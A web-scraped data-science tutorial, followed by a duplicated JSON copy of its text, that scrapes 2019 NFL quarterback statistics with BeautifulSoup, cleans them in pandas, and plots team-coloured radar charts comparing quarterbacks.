The two BeautifulSoup functions we will use to scrape the page are findAll() and getText(), which return values based on the HTML of the page we are scraping. I present simplified use cases below — for all possibilities you should refer to the documentation.
findAll(name)Parametersname -- HTML tags to use to parse webpageReturns array of all matches to name taggetText()Returns text from HTML
For these to be effective, we have to determine patterns in the page source. In our, case the data is nicely formatted in a table, so we can find all the table rows (tr) and columns (td) and extract the text directly from the cells.
First, we need to collect the column headers so we can use them later in our DataFrame. To do this, we find the first tr element in page and collect the text from all the table headers (th):
# Collect table headerscolumn_headers = stats_page.findAll('tr')[0]column_headers = [i.getText() for i in column_headers.findAll('th')]
We index the first element because this is the row that contains the column headers. We can view our result:
print(column_headers)>>> ['Rk', 'Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD']
To collect the actual data, we will first collect all the table rows (tr) and store them in an array. Then, we iterate through each row and collect the text in each column (td) with getText() :
# Collect table rowsrows = stats_page.findAll('tr')[1:]# Get stats from each rowqb_stats = []for i in range(len(rows)): qb_stats.append([col.getText() for col in rows[i].findAll('td')])
We skip the first row because these are the column headers that we just collected previously. When we examine the first row of our qb_stats list:
print(qb_stats[0])>>> ['Jared Goff', 'LAR', '25', 'QB', '16', '16', '9-7-0', '394', '626', '62.9', '4638', '22', '3.5', '16', '2.6', '220', '66', '7.4', '7.0', '11.8', '289.9', '86.5', '', '22', '170', '6.90', '6.46', '3.4', '1', '2']
Now we can combine our headers and stats into a pandas DataFrame. If you haven’t used pandas before, it’s essentially an Excel spreadsheet that you can manipulate programmatically, so it’s great for handling larger datasets. We notice above that the Rk column does not have corresponding data in our qb_stats list — this is because those values were all table headers, so our findAll() function did not pull their data. Regardless — this data is frivolous for our analysis so we will omit it when creating the DataFrame.
# Create DataFrame from our scraped datadata = pd.DataFrame(qb_stats, columns=column_headers[1:])
columns — the column titles for our DataFrame (we are omitting Rk)
Now, let’s take a look at the first five rows of our DataFrame:
# Examine first five rows of datadata.head()
Success!
Now, we can manipulate the data in this DataFrame to get what we need to make our radar charts. First, let’s look at all the columns in the set:
# View columns in datadata.columns>>> Index(['Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD'], dtype='object')
We see one issue immediately — there are two columns titled Yds; one is for passing yards, and the other is yards lost due to being sacked. We can easily remedy this by renaming the latter:
# Rename sack yards column to `Yds_Sack`new_columns = data.columns.valuesnew_columns[-6] = 'Yds_Sack'data.columns = new_columns
Now, let’s view our columns again:
# View columns in datadata.columns>>> Index(['Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds_Sack', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD'], dtype='object')
We have successfully renamed the column to Yds_Sack and no longer have a conflict in our column names! Next, let’s identify which statistical categories we are interested in for our visualization. We will choose:
(1) Completion percentage — Cmp%
(2) Passing yards — Yds
(3) Passing touchdowns — TD
(4) Interceptions — Int
(5) Yards per attempt — Y/A
(6) Passer rating — Rate
# Select stat categoriescategories = ['Cmp%', 'Yds', 'TD', 'Int', 'Y/A', 'Rate']
Now let’s create a new DataFrame as a subset of our original data, only with the data from our chosen categories. Additionally, we will add the player name and team.
# Create data subset for radar chartdata_radar = data[['Player', 'Tm'] + categories]data_radar.head()
Now that we have our subset of data, let’s check the data type, because we scraped the values as text from the URL:
# Check data typesdata_radar.dtypes>>> Player object Tm object Cmp% object Yds object TD object Int object Y/A object Rate object dtype: object
All of our numerical data have been stored as objects, so we can’t manipulate them. So before we proceed further, we must convert all this data to numerical values. To do so, we use a function called pandas.to_numeric.
# Convert data to numerical valuesfor i in categories: data_radar[i] = pd.to_numeric(data[i])
Now, let’s check our data types once again:
# Check data typesdata_radar.dtypes>>> Player object Tm object Cmp% float64 Yds float64 TD float64 Int float64 Y/A float64 Rate float64 dtype: object
We have one last piece of data cleaning to do. On the original website, they put ornamental characters next to players that had end-of-season achievements, such as a Pro Bowl (*) or All-Pro (+) selection. We will remove these using str.replace():
# Remove ornamental characters for achievementsdata_radar['Player'] = data_radar['Player'].str.replace('*', '')data_radar['Player'] = data_radar['Player'].str.replace('+', '')
Let’s filter our data down to only the quarterbacks who threw for more than 1500 yards:
# Filter by passing yardsdata_radar_filtered = data_radar[data_radar['Yds'] > 1500]
Now, for our radar chart, we want to calculate the each quarterback’s statistical rank by percentile, which is easily done in pandas with DataFrame.rank(pct=True). The rank() function can take other arguments to rank based on other parameters for which you can look up the online documentation.
Additionally, we want to flip our interceptions rank, as we don’t want the QB with the most interceptions to have the highest percentile!
# Create columns with percentile rankfor i in categories: data_radar_filtered[i + '_Rank'] = data_radar_filtered[i].rank(pct=True)# We need to flip the rank for interceptionsdata_radar_filtered['Int_Rank'] = 1 - data_radar_filtered['Int_Rank']
Now we examine our new data:
# Examine datadata_radar_filtered.head()
Great! We can now make our visualizations!
We will start by editing some general plot parameters. We are going to be generating a polar plot, so the x-ticks correspond to the angle around the circle — we are increasing the padding between the axis and tick labels:
# General plot parametersmpl.rcParams['font.family'] = 'Avenir'mpl.rcParams['font.size'] = 16mpl.rcParams['axes.linewidth'] = 0mpl.rcParams['xtick.major.pad'] = 15
For colors in our chart, we will use the HEX codes of the NFL team colors, which were collected from this link.
team_colors = {'ARI':'#97233f', 'ATL':'#a71930', 'BAL':'#241773', 'BUF':'#00338d', 'CAR':'#0085ca', 'CHI':'#0b162a', 'CIN':'#fb4f14', 'CLE':'#311d00', 'DAL':'#041e42', 'DEN':'#002244', 'DET':'#0076b6', 'GNB':'#203731', 'HOU':'#03202f', 'IND':'#002c5f', 'JAX':'#006778', 'KAN':'#e31837', 'LAC':'#002a5e', 'LAR':'#003594', 'MIA':'#008e97', 'MIN':'#4f2683', 'NWE':'#002244', 'NOR':'#d3bc8d', 'NYG':'#0b2265', 'NYJ':'#125740', 'OAK':'#000000', 'PHI':'#004c54', 'PIT':'#ffb612', 'SFO':'#aa0000', 'SEA':'#002244', 'TAM':'#d50a0a', 'TEN':'#0c2340', 'WAS':'#773141'}
The angles at which we plot all our points will be dependent on the number of statistical categories we have. In our example, we have 6 categories, so we will plot our points every 2π/6 radians, or 60 degrees. We can calculate this as follows, using numpy.linspace() :
# Calculate angles for radar chartoffset = np.pi/6angles = np.linspace(0, 2*np.pi, len(categories) + 1) + offset
We are adding the offset term to adjust where the labels appear on the circle (instead of the first label at 0 radians, it now appears at π/6).
When we plot the data, we need to actually duplicate the first category, so that the shape closes itself. If you notice when we calculated the angles, we have 7 data points, and the first and last angles correspond to the same point on the circle. So when we plot the data, we use the following (we will turn this into a function, so player_data represents a row of player-specific data that we will pass):
# Plot data and fill with team colorax.plot(angles, np.append(player_data[-(len(angles)-1):], player_data[-(len(angles)-1)]), color=color, linewidth=2)ax.fill(angles, np.append(player_data[-(len(angles)-1):], player_data[-(len(angles)-1)]), color=color, alpha=0.2)
The above code works because our categories are the last 6 columns of our DataFrame, so len(angles) — 1 corresponds to the first of these categories (since angles has an extra element). We then append the value of the first category onto the end of this array so that we can close the shape.
Now we can set the labels for the category names (since we have one less category than angles, we omit the last element):
# Set category labelsax.set_xticks(angles[:-1])ax.set_xticklabels(categories)
Finally, we will add the player name on top of the radar chart — we place the text object at (π/2, 1.7), in absolute plot coordinates so that it appears above the axis:
# Add player nameax.text(np.pi/2, 1.7, player_data[0], ha='center', va='center', size=18, color=color)
We can put this all together to make a helper function to generate our radar charts as follows:
Let’s also make another helper function to return a numpy array of QB data when given a team input:
# Function to get QB datadef get_qb_data(data, team): return np.asarray(data[data['Tm'] == team])[0]
NFC West
Since I’m a huge 49ers fan, let’s start by looking at the radar charts for QBs in the NFC West:
# Create figurefig = plt.figure(figsize=(8, 8), facecolor='white')# Add subplotsax1 = fig.add_subplot(221, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(222, projection='polar', facecolor='#ededed')ax3 = fig.add_subplot(223, projection='polar', facecolor='#ededed')ax4 = fig.add_subplot(224, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB datasf_data = get_qb_data(data_radar_filtered, 'SFO')sea_data = get_qb_data(data_radar_filtered, 'SEA')ari_data = get_qb_data(data_radar_filtered, 'ARI')lar_data = get_qb_data(data_radar_filtered, 'LAR')# Plot QB dataax1 = create_radar_chart(ax1, angles, lar_data, team_colors['LAR'])ax2 = create_radar_chart(ax2, angles, ari_data, team_colors['ARI'])ax3 = create_radar_chart(ax3, angles, sea_data, team_colors['SEA'])ax4 = create_radar_chart(ax4, angles, sf_data, team_colors['SFO'])plt.show()
The data seems to support what we see from the eye test :
Russell Wilson is on an elite level, reaching at least 75th percentiles in all statistical categories. This analysis also doesn’t take into account what he brings with his scrambling ability.Jimmy Garoppolo is generally a solid QB, but throws a few boneheaded interceptions from time-to-time.Jared Goff gets a lot of yards, but it does not seem to translate to a lot of production (i.e. “empty yards”).Kyler Murray is hard to judge because he was a rookie, but his efficiency looks to be the lowest of the four. Like Wilson, his mobility is not accounted for in this plot.
Russell Wilson is on an elite level, reaching at least 75th percentiles in all statistical categories. This analysis also doesn’t take into account what he brings with his scrambling ability.
Jimmy Garoppolo is generally a solid QB, but throws a few boneheaded interceptions from time-to-time.
Jared Goff gets a lot of yards, but it does not seem to translate to a lot of production (i.e. “empty yards”).
Kyler Murray is hard to judge because he was a rookie, but his efficiency looks to be the lowest of the four. Like Wilson, his mobility is not accounted for in this plot.
MVP Race
The MVP race (at QB) came down Russell Wilson and Lamar Jackson (who eventually won):
# MVP Race# Create figurefig = plt.figure(figsize=(8, 4), facecolor='white')# Add subplotsax1 = fig.add_subplot(121, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(122, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB databal_data = get_qb_data(data_radar_filtered, 'BAL')sea_data = get_qb_data(data_radar_filtered, 'SEA')# Plot QB dataax1 = create_radar_chart(ax1, angles, sea_data, team_colors['SEA'])ax2 = create_radar_chart(ax2, angles, bal_data, team_colors['BAL'])plt.show()
From a pure passer standpoint, Russell Wilson has more balanced stats, but Lamar Jackson clearly had the more “bang-for-buck” passing yards, as shown by his number of passing TDs and quarterback rating. Additionally, Lamar Jackson set the QB rushing record for a season, which is not captured in this chart.
Teams who drafted 1st round QBs
Four quarterbacks were taken in the 1st round of the 2020 NFL Draft: Joe Burrow (CIN), Tua Tagovailoa (MIA), Justin Herbert (LAC), and (surprisingly) Jordan Love (GB). Let’s visualize the stats of the quarterbacks that these draft picks would replace.
# 1st Round Draft Picks# Create figurefig = plt.figure(figsize=(8, 8), facecolor='white')# Add subplotsax1 = fig.add_subplot(221, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(222, projection='polar', facecolor='#ededed')ax3 = fig.add_subplot(223, projection='polar', facecolor='#ededed')ax4 = fig.add_subplot(224, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB datacin_data = get_qb_data(data_radar_filtered, 'CIN')mia_data = get_qb_data(data_radar_filtered, 'MIA')lac_data = get_qb_data(data_radar_filtered, 'LAC')gnb_data = get_qb_data(data_radar_filtered, 'GNB')# Plot QB dataax1 = create_radar_chart(ax1, angles, cin_data, team_colors['CIN'])ax2 = create_radar_chart(ax2, angles, mia_data, team_colors['MIA'])ax3 = create_radar_chart(ax3, angles, lac_data, team_colors['LAC'])ax4 = create_radar_chart(ax4, angles, gnb_data, team_colors['GNB'])plt.show()
Andy Dalton had a terrible season by all metrics — it clearly appears that it was time to move onRyan Fitzpatrick was below average in all six statistical metrics and had a fairly mediocre season. Considering Josh Rosen was benched for Fitzpatrick, Miami needed to invest in Tua for the future.Philip Rivers actually performed average to above average in most categories, but clearly had some bad decision-making, judging by the number of interceptions he threw.Aaron Rodgers had what appears to be an above average season, but still below average by the lofty expectations we have for him. The Jordan Love pick was a shock for everyone.
Andy Dalton had a terrible season by all metrics — it clearly appears that it was time to move on
Ryan Fitzpatrick was below average in all six statistical metrics and had a fairly mediocre season. Considering Josh Rosen was benched for Fitzpatrick, Miami needed to invest in Tua for the future.
Philip Rivers actually performed average to above average in most categories, but clearly had some bad decision-making, judging by the number of interceptions he threw.
Aaron Rodgers had what appears to be an above average season, but still below average by the lofty expectations we have for him. The Jordan Love pick was a shock for everyone.
As you can see, the possibilities are endless — and this framework can be easily adapted for other stats such as rushing and receiving metrics. The Jupyter notebook used for this article can be found at this Github repository.
Thank you for reading! I appreciate any feedback, and you can find me on Twitter and connect with me on LinkedIn for more updates and articles.
|
[
{
"code": null,
"e": 577,
"s": 172,
"text": "I have always been apprehensive about trying to scrape my own data, and the fact that websites like Kaggle aggregate such high quality datasets has made learning this skill less of a need. However, the abundance of educational articles on data science on this platform have helped me make progress towards collecting my own datasets. A lot of the inspiration and methods for scraping data came from here."
},
{
"code": null,
"e": 742,
"s": 577,
"text": "In this article, I will pull quarterback stats from the 2019–20 NFL season from Pro Football Reference, and use them to create radar charts to assess QB efficiency."
},
{
"code": null,
"e": 885,
"s": 742,
"text": "To open the webpage and scrape the data, we will use two modules, urllib.request to open the URL, and BeautifulSoup to parse through the HTML."
},
{
"code": null,
"e": 974,
"s": 885,
"text": "# Import scraping modulesfrom urllib.request import urlopenfrom bs4 import BeautifulSoup"
},
{
"code": null,
"e": 1101,
"s": 974,
"text": "In addition to these packages, we will need some packages to manipulate data, numpy and pandas, and plot our data, matplotlib."
},
{
"code": null,
"e": 1263,
"s": 1101,
"text": "# Import data manipulation modulesimport pandas as pdimport numpy as np# Import data visualization modulesimport matplotlib as mplimport matplotlib.pyplot as plt"
},
{
"code": null,
"e": 1432,
"s": 1263,
"text": "The data we are going to import is the NFL passing data from the 2019 season, which can be found here. We open the site and pass it to BeautifulSoup with the following:"
},
{
"code": null,
"e": 1602,
"s": 1432,
"text": "# URL of pageurl = 'https://www.pro-football-reference.com/years/2019/passing.htm'# Open URL and pass to BeautifulSouphtml = urlopen(url)stats_page = BeautifulSoup(html)"
},
{
"code": null,
"e": 1729,
"s": 1602,
"text": "Note that we can easily adapt all of this analysis to previous years by changing the 2019 in URL to the year of your choosing."
},
{
"code": null,
"e": 1988,
"s": 1729,
"text": "The two BeautifulSoup functions we will use to scrape the page are findAll() and getText(), which return values based on the HTML of the page we are scraping. I present simplified use cases below — for all possibilities you should refer to the documentation."
},
{
"code": null,
"e": 2124,
"s": 1988,
"text": "findAll(name)Parametersname -- HTML tags to use to parse webpageReturns array of all matches to name taggetText()Returns text from HTML"
},
{
"code": null,
"e": 2357,
"s": 2124,
"text": "For these to be effective, we have to determine patterns in the page source. In our, case the data is nicely formatted in a table, so we can find all the table rows (tr) and columns (td) and extract the text directly from the cells."
},
{
"code": null,
"e": 2548,
"s": 2357,
"text": "First, we need to collect the column headers so we can use them later in our DataFrame. To do this, we find the first tr element in page and collect the text from all the table headers (th):"
},
{
"code": null,
"e": 2684,
"s": 2548,
"text": "# Collect table headerscolumn_headers = stats_page.findAll('tr')[0]column_headers = [i.getText() for i in column_headers.findAll('th')]"
},
{
"code": null,
"e": 2793,
"s": 2684,
"text": "We index the first element because this is the row that contains the column headers. We can view our result:"
},
{
"code": null,
"e": 3040,
"s": 2793,
"text": "print(column_headers)>>> ['Rk', 'Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD']"
},
{
"code": null,
"e": 3234,
"s": 3040,
"text": "To collect the actual data, we will first collect all the table rows (tr) and store them in an array. Then, we iterate through each row and collect the text in each column (td) with getText() :"
},
{
"code": null,
"e": 3421,
"s": 3234,
"text": "# Collect table rowsrows = stats_page.findAll('tr')[1:]# Get stats from each rowqb_stats = []for i in range(len(rows)): qb_stats.append([col.getText() for col in rows[i].findAll('td')])"
},
{
"code": null,
"e": 3567,
"s": 3421,
"text": "We skip the first row because these are the column headers that we just collected previously. When we examine the first row of our qb_stats list:"
},
{
"code": null,
"e": 3802,
"s": 3567,
"text": "print(qb_stats[0])>>> ['Jared Goff', 'LAR', '25', 'QB', '16', '16', '9-7-0', '394', '626', '62.9', '4638', '22', '3.5', '16', '2.6', '220', '66', '7.4', '7.0', '11.8', '289.9', '86.5', '', '22', '170', '6.90', '6.46', '3.4', '1', '2']"
},
{
"code": null,
"e": 4323,
"s": 3802,
"text": "Now we can combine our headers and stats into a pandas DataFrame. If you haven’t used pandas before, it’s essentially an Excel spreadsheet that you can manipulate programmatically, so it’s great for handling larger datasets. We notice above that the Rk column does not have corresponding data in our qb_stats list — this is because those values were all table headers, so our findAll() function did not pull their data. Regardless — this data is frivolous for our analysis so we will omit it when creating the DataFrame."
},
{
"code": null,
"e": 4421,
"s": 4323,
"text": "# Create DataFrame from our scraped datadata = pd.DataFrame(qb_stats, columns=column_headers[1:])"
},
{
"code": null,
"e": 4488,
"s": 4421,
"text": "columns — the column titles for our DataFrame (we are omitting Rk)"
},
{
"code": null,
"e": 4552,
"s": 4488,
"text": "Now, let’s take a look at the first five rows of our DataFrame:"
},
{
"code": null,
"e": 4597,
"s": 4552,
"text": "# Examine first five rows of datadata.head()"
},
{
"code": null,
"e": 4606,
"s": 4597,
"text": "Success!"
},
{
"code": null,
"e": 4751,
"s": 4606,
"text": "Now, we can manipulate the data in this DataFrame to get what we need to make our radar charts. First, let’s look at all the columns in the set:"
},
{
"code": null,
"e": 5028,
"s": 4751,
"text": "# View columns in datadata.columns>>> Index(['Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD'], dtype='object')"
},
{
"code": null,
"e": 5218,
"s": 5028,
"text": "We see one issue immediately — there are two columns titled Yds; one is for passing yards, and the other is yards lost due to being sacked. We can easily remedy this by renaming the latter:"
},
{
"code": null,
"e": 5346,
"s": 5218,
"text": "# Rename sack yards column to `Yds_Sack`new_columns = data.columns.valuesnew_columns[-6] = 'Yds_Sack'data.columns = new_columns"
},
{
"code": null,
"e": 5381,
"s": 5346,
"text": "Now, let’s view our columns again:"
},
{
"code": null,
"e": 5663,
"s": 5381,
"text": "# View columns in datadata.columns>>> Index(['Player', 'Tm', 'Age', 'Pos', 'G', 'GS', 'QBrec', 'Cmp', 'Att', 'Cmp%', 'Yds', 'TD', 'TD%', 'Int', 'Int%', '1D', 'Lng', 'Y/A', 'AY/A', 'Y/C', 'Y/G', 'Rate', 'QBR', 'Sk', 'Yds_Sack', 'NY/A', 'ANY/A', 'Sk%', '4QC', 'GWD'], dtype='object')"
},
{
"code": null,
"e": 5876,
"s": 5663,
"text": "We have successfully renamed the column to Yds_Sack and no longer have a conflict in our column names! Next, let’s identify which statistical categories we are interested in for our visualization. We will choose:"
},
{
"code": null,
"e": 5909,
"s": 5876,
"text": "(1) Completion percentage — Cmp%"
},
{
"code": null,
"e": 5933,
"s": 5909,
"text": "(2) Passing yards — Yds"
},
{
"code": null,
"e": 5961,
"s": 5933,
"text": "(3) Passing touchdowns — TD"
},
{
"code": null,
"e": 5985,
"s": 5961,
"text": "(4) Interceptions — Int"
},
{
"code": null,
"e": 6013,
"s": 5985,
"text": "(5) Yards per attempt — Y/A"
},
{
"code": null,
"e": 6038,
"s": 6013,
"text": "(6) Passer rating — Rate"
},
{
"code": null,
"e": 6119,
"s": 6038,
"text": "# Select stat categoriescategories = ['Cmp%', 'Yds', 'TD', 'Int', 'Y/A', 'Rate']"
},
{
"code": null,
"e": 6285,
"s": 6119,
"text": "Now let’s create a new DataFrame as a subset of our original data, only with the data from our chosen categories. Additionally, we will add the player name and team."
},
{
"code": null,
"e": 6387,
"s": 6285,
"text": "# Create data subset for radar chartdata_radar = data[['Player', 'Tm'] + categories]data_radar.head()"
},
{
"code": null,
"e": 6503,
"s": 6387,
"text": "Now that we have our subset of data, let’s check the data type, because we scraped the values as text from the URL:"
},
{
"code": null,
"e": 6716,
"s": 6503,
"text": "# Check data typesdata_radar.dtypes>>> Player object Tm object Cmp% object Yds object TD object Int object Y/A object Rate object dtype: object"
},
{
"code": null,
"e": 6935,
"s": 6716,
"text": "All of our numerical data have been stored as objects, so we can’t manipulate them. So before we proceed further, we must convert all this data to numerical values. To do so, we use a function called pandas.to_numeric."
},
{
"code": null,
"e": 7030,
"s": 6935,
"text": "# Convert data to numerical valuesfor i in categories: data_radar[i] = pd.to_numeric(data[i])"
},
{
"code": null,
"e": 7074,
"s": 7030,
"text": "Now, let’s check our data types once again:"
},
{
"code": null,
"e": 7295,
"s": 7074,
"text": "# Check data typesdata_radar.dtypes>>> Player object Tm object Cmp% float64 Yds float64 TD float64 Int float64 Y/A float64 Rate float64 dtype: object"
},
{
"code": null,
"e": 7542,
"s": 7295,
"text": "We have one last piece of data cleaning to do. On the original website, they put ornamental characters next to players that had end-of-season achievements, such as a Pro Bowl (*) or All-Pro (+) selection. We will remove these using str.replace():"
},
{
"code": null,
"e": 7718,
"s": 7542,
"text": "# Remove ornamental characters for achievementsdata_radar['Player'] = data_radar['Player'].str.replace('*', '')data_radar['Player'] = data_radar['Player'].str.replace('+', '')"
},
{
"code": null,
"e": 7806,
"s": 7718,
"text": "Let’s filter our data down to only the quarterbacks who threw for more than 1500 yards:"
},
{
"code": null,
"e": 7890,
"s": 7806,
"text": "# Filter by passing yardsdata_radar_filtered = data_radar[data_radar['Yds'] > 1500]"
},
{
"code": null,
"e": 8185,
"s": 7890,
"text": "Now, for our radar chart, we want to calculate the each quarterback’s statistical rank by percentile, which is easily done in pandas with DataFrame.rank(pct=True). The rank() function can take other arguments to rank based on other parameters for which you can look up the online documentation."
},
{
"code": null,
"e": 8323,
"s": 8185,
"text": "Additionally, we want to flip our interceptions rank, as we don’t want the QB with the most interceptions to have the highest percentile!"
},
{
"code": null,
"e": 8570,
"s": 8323,
"text": "# Create columns with percentile rankfor i in categories: data_radar_filtered[i + '_Rank'] = data_radar_filtered[i].rank(pct=True)# We need to flip the rank for interceptionsdata_radar_filtered['Int_Rank'] = 1 - data_radar_filtered['Int_Rank']"
},
{
"code": null,
"e": 8599,
"s": 8570,
"text": "Now we examine our new data:"
},
{
"code": null,
"e": 8640,
"s": 8599,
"text": "# Examine datadata_radar_filtered.head()"
},
{
"code": null,
"e": 8683,
"s": 8640,
"text": "Great! We can now make our visualizations!"
},
{
"code": null,
"e": 8905,
"s": 8683,
"text": "We will start by editing some general plot parameters. We are going to be generating a polar plot, so the x-ticks correspond to the angle around the circle — we are increasing the padding between the axis and tick labels:"
},
{
"code": null,
"e": 9069,
"s": 8905,
"text": "# General plot parametersmpl.rcParams['font.family'] = 'Avenir'mpl.rcParams['font.size'] = 16mpl.rcParams['axes.linewidth'] = 0mpl.rcParams['xtick.major.pad'] = 15"
},
{
"code": null,
"e": 9181,
"s": 9069,
"text": "For colors in our chart, we will use the HEX codes of the NFL team colors, which were collected from this link."
},
{
"code": null,
"e": 9740,
"s": 9181,
"text": "team_colors = {'ARI':'#97233f', 'ATL':'#a71930', 'BAL':'#241773', 'BUF':'#00338d', 'CAR':'#0085ca', 'CHI':'#0b162a', 'CIN':'#fb4f14', 'CLE':'#311d00', 'DAL':'#041e42', 'DEN':'#002244', 'DET':'#0076b6', 'GNB':'#203731', 'HOU':'#03202f', 'IND':'#002c5f', 'JAX':'#006778', 'KAN':'#e31837', 'LAC':'#002a5e', 'LAR':'#003594', 'MIA':'#008e97', 'MIN':'#4f2683', 'NWE':'#002244', 'NOR':'#d3bc8d', 'NYG':'#0b2265', 'NYJ':'#125740', 'OAK':'#000000', 'PHI':'#004c54', 'PIT':'#ffb612', 'SFO':'#aa0000', 'SEA':'#002244', 'TAM':'#d50a0a', 'TEN':'#0c2340', 'WAS':'#773141'}"
},
{
"code": null,
"e": 10009,
"s": 9740,
"text": "The angles at which we plot all our points will be dependent on the number of statistical categories we have. In our example, we have 6 categories, so we will plot our points every 2π/6 radians, or 60 degrees. We can calculate this as follows, using numpy.linspace() :"
},
{
"code": null,
"e": 10122,
"s": 10009,
"text": "# Calculate angles for radar chartoffset = np.pi/6angles = np.linspace(0, 2*np.pi, len(categories) + 1) + offset"
},
{
"code": null,
"e": 10266,
"s": 10122,
"text": "We are adding the offset term to adjust where the labels appear on the circle (instead of the first label at 0 radians, it now appears at π/6)."
},
{
"code": null,
"e": 10673,
"s": 10266,
"text": "When we plot the data, we need to actually duplicate the first category, so that the shape closes itself. If you notice when we calculated the angles, we have 7 data points, and the first and last angles correspond to the same point on the circle. So when we plot the data, we use the following (we will turn this into a function, so player_data represents a row of player-specific data that we will pass):"
},
{
"code": null,
"e": 10938,
"s": 10673,
"text": "# Plot data and fill with team colorax.plot(angles, np.append(player_data[-(len(angles)-1):], player_data[-(len(angles)-1)]), color=color, linewidth=2)ax.fill(angles, np.append(player_data[-(len(angles)-1):], player_data[-(len(angles)-1)]), color=color, alpha=0.2)"
},
{
"code": null,
"e": 11230,
"s": 10938,
"text": "The above code works because our categories are the last 6 columns of our DataFrame, so len(angles) — 1 corresponds to the first of these categories (since angles has an extra element). We then append the value of the first category onto the end of this array so that we can close the shape."
},
{
"code": null,
"e": 11352,
"s": 11230,
"text": "Now we can set the labels for the category names (since we have one less category than angles, we omit the last element):"
},
{
"code": null,
"e": 11430,
"s": 11352,
"text": "# Set category labelsax.set_xticks(angles[:-1])ax.set_xticklabels(categories)"
},
{
"code": null,
"e": 11599,
"s": 11430,
"text": "Finally, we will add the player name on top of the radar chart — we place the text object at (π/2, 1.7), in absolute plot coordinates so that it appears above the axis:"
},
{
"code": null,
"e": 11702,
"s": 11599,
"text": "# Add player nameax.text(np.pi/2, 1.7, player_data[0], ha='center', va='center', size=18, color=color)"
},
{
"code": null,
"e": 11798,
"s": 11702,
"text": "We can put this all together to make a helper function to generate our radar charts as follows:"
},
{
"code": null,
"e": 11898,
"s": 11798,
"text": "Let’s also make another helper function to return a numpy array of QB data when given a team input:"
},
{
"code": null,
"e": 12000,
"s": 11898,
"text": "# Function to get QB datadef get_qb_data(data, team): return np.asarray(data[data['Tm'] == team])[0]"
},
{
"code": null,
"e": 12009,
"s": 12000,
"text": "NFC West"
},
{
"code": null,
"e": 12105,
"s": 12009,
"text": "Since I’m a huge 49ers fan, let’s start by looking at the radar charts for QBs in the NFC West:"
},
{
"code": null,
"e": 13031,
"s": 12105,
"text": "# Create figurefig = plt.figure(figsize=(8, 8), facecolor='white')# Add subplotsax1 = fig.add_subplot(221, projection='polar', facecolor='#ededed')ax2 = fig.add_subplot(222, projection='polar', facecolor='#ededed')ax3 = fig.add_subplot(223, projection='polar', facecolor='#ededed')ax4 = fig.add_subplot(224, projection='polar', facecolor='#ededed')# Adjust space between subplotsplt.subplots_adjust(hspace=0.8, wspace=0.5)# Get QB datasf_data = get_qb_data(data_radar_filtered, 'SFO')sea_data = get_qb_data(data_radar_filtered, 'SEA')ari_data = get_qb_data(data_radar_filtered, 'ARI')lar_data = get_qb_data(data_radar_filtered, 'LAR')# Plot QB dataax1 = create_radar_chart(ax1, angles, lar_data, team_colors['LAR'])ax2 = create_radar_chart(ax2, angles, ari_data, team_colors['ARI'])ax3 = create_radar_chart(ax3, angles, sea_data, team_colors['SEA'])ax4 = create_radar_chart(ax4, angles, sf_data, team_colors['SFO'])plt.show()"
},
{
"code": null,
"e": 13089,
"s": 13031,
"text": "The data seems to support what we see from the eye test :"
},
{
"code": null,
"e": 13662,
"s": 13089,
"text": "Russell Wilson is on an elite level, reaching at least 75th percentiles in all statistical categories. This analysis also doesn’t take into account what he brings with his scrambling ability.Jimmy Garoppolo is generally a solid QB, but throws a few boneheaded interceptions from time-to-time.Jared Goff gets a lot of yards, but it does not seem to translate to a lot of production (i.e. “empty yards”).Kyler Murray is hard to judge because he was a rookie, but his efficiency looks to be the lowest of the four. Like Wilson, his mobility is not accounted for in this plot."
},
{
"code": null,
"e": 13854,
"s": 13662,
"text": "Russell Wilson is on an elite level, reaching at least 75th percentiles in all statistical categories. This analysis also doesn’t take into account what he brings with his scrambling ability."
},
{
"code": null,
"e": 13956,
"s": 13854,
"text": "Jimmy Garoppolo is generally a solid QB, but throws a few boneheaded interceptions from time-to-time."
},
{
"code": null,
"e": 14067,
"s": 13956,
"text": "Jared Goff gets a lot of yards, but it does not seem to translate to a lot of production (i.e. “empty yards”)."
},
{
"code": null,
"e": 14238,
"s": 14067,
"text": "Kyler Murray is hard to judge because he was a rookie, but his efficiency looks to be the lowest of the four. Like Wilson, his mobility is not accounted for in this plot."
},
{
"code": null,
"e": 14247,
"s": 14238,
"text": "MVP Race"
},
{
"code": null,
"e": 14333,
"s": 14247,
